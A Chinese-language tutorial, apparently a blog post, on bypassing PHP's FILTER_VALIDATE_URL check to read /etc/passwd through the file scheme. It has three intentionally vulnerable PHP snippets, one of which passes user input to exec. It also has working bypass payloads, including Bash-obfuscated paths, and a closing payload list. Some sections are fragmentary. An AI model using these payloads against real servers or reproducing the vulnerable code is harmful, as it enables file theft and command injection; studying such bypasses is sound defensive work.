以下 3 种主要方式在 PHP 中检索 URL:

  • curl library

  • file_get_contents()

  • exec()

file:///etc/passwd

易受攻击的代码

filter_var()

FILTER_VALIDATE_URL FILTER_FLAG_QUERY_REQUIRED 

提供的验证,因为这些是验证 URL 的最低要求,而 URL 是输入应该以合法方式传递给应用程序的内容。

<?phpfunction curl($url) {   $optArray = array(      CURLOPT_URL => $url,      CURLOPT_FOLLOWLOCATION => 1   );   $ch = curl_init();   curl_setopt_array($ch, $optArray);   $response = curl_exec($ch) or die("Error!");   curl_close($ch);
   return $response;}$content = curl(filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));echo $content;

默认有效载荷不起作用:

file:/etc/passwd?/

注意,文件方案后甚至不需要使用三个斜杠。问号使其通过验证(模拟 URL 查询),但需要在它后面添加一些内容(非空查询)。

URL 双重编码技巧来帮助逃避:

第二种方法,file_get_contents():

<?php$f = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED) or die("Error!");echo file_get_contents($f);

默认有效载荷再次不起作用。

file:///etc/?/../passwd

将其用作目录/文件夹名称时,“?” 的使用使其通过验证。然后,我们需要使用“/../”技巧来返回到“/etc/”。

第三种情况,代码如下:

<?php$url = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED);exec('curl -L ' . $url, $content) or die("Error!");print_r($content);

使用默认有效载荷尝试:

file:/etc/passwd?/

有趣的混淆技巧:

file:${br}/et${u}c/pas${te}swd?/

因为“${x}”(其中“x”可以是任何常规字符或字符串)在 Bash 中用于替换变量,该变量必须不存在,否则会在执行的命令中被丢弃。“$(x)”也可以使用。

file:/etc/passwd?/file:/etc/passwd%3F/file:/etc%252Fpasswd/file:/etc%252Fpasswd%3F/file:///etc/?/../passwdfile:///etc/%3F/../passwdfile:${br}/et${u}c/pas${te}swd?/file:$(br)/et$(u)c/pas$(te)swd?/file:${br}/et${u}c%252Fpas${te}swd?/file:$(br)/et$(u)c%252Fpas$(te)swd?/file:${br}/et${u}c%252Fpas${te}swd%3F/file:$(br)/et$(u)c%252Fpas$(te)swd%3F/file:///etc/passwd?/../passwd

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。